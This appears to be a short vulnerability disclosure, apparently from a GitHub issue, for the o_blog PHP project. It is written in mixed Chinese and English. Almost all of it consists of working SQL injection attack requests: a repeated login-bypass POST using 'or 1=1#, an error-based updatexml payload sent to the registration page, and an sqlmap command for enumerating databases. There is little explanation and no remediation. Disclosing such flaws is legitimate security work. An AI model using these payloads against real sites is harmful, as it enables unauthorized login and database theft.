berkaygediz / o_blog Goto Github PK

在http://192.168.150.131/O_Blog-main/页面存在sql注入可以绕过登录
POST /O_Blog-main/ HTTP/1.1
Host: 192.168.150.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=9697cab5c5ac6b604b268d245e9a9519
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

eposta=[email protected]'or 1=1#&sifre=31232132

Using sqlmap to drag libraries
sqlmap -r 1.txt --dbs
POST /O_Blog-main/uyelikolustur.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw
Referer: http://192.168.150.131/O_Blog-main/
Cookie: PHPSESSID=47f2e65dc21f74afcf051675a3a86426
Content-Length: 318
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Host: 192.168.150.131
Connection: Keep-alive

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="eposta"

1323' or updatexml(1,concat(1,database()),1),123)#
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="kullaniciadi"

123
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="sifre"

123
------------YWJkMTQzNDcw--

SQL injection bypass login:
POST /O_Blog-main/ HTTP/1.1
Host: 192.168.150.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=9697cab5c5ac6b604b268d245e9a9519
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

eposta=[email protected]'or 1=1#&sifre=31232132